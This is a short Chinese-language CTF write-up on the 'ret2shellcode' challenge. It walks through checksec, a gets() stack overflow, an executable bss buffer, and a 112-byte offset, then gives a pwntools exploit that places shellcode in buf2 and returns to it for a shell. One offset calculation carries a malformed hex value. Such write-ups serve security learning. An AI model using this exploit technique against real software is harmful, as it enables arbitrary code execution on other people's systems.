首先file看看
    image.png
    checksec ret2shellcode
    image.png
    可以看见没开任何保护措施
    image.png
    此gets函数甚是危险 所以是栈溢出不假了
    这里看一下buf2
    image.png
    gdb调试 看看bss段得权限
    image.png
    可以看见是可写可读可以执行
    是在bss段 bss这里放的一般是用来存放程序中未初始化的或者初始化为0的全局变量静态变量的一块内存区域
    那么我们思路很清楚了,1.偏移 2.控制程序执行 shellcode 3.exp

    1.偏移
    image.png
    计算一下
    也就是跟ret2text差不多0xffffd000-(1c+0xffffcd088)=108
    image.png
    别忘记32位得程序还得覆盖ebp 所以108+4=112,还有一种简单得方法就是cyclic就不说了

    2.控制
    控制这里已经说清楚了 因为 bss段可执行 只要把内容写到这个地方,然后返回地址跳转到 bss 段就可以执行 shellcode,这里就解释了为什么这题属于rop

    3.exp
    (补充个pwntools用法https://www.yuque.com/hxfqg9/bin/yxegb6)
    from pwn import *
    sh=process(‘./ret2shellcode’)
    shellcode = asm(shellcraft.sh()) #生成shellcode
    buf2_addr = 0x804a080
    payload=shellcode.ljust(112, ‘A’) + p32(buf2_addr)
    sh.sendline(payload)
    sh.interactive()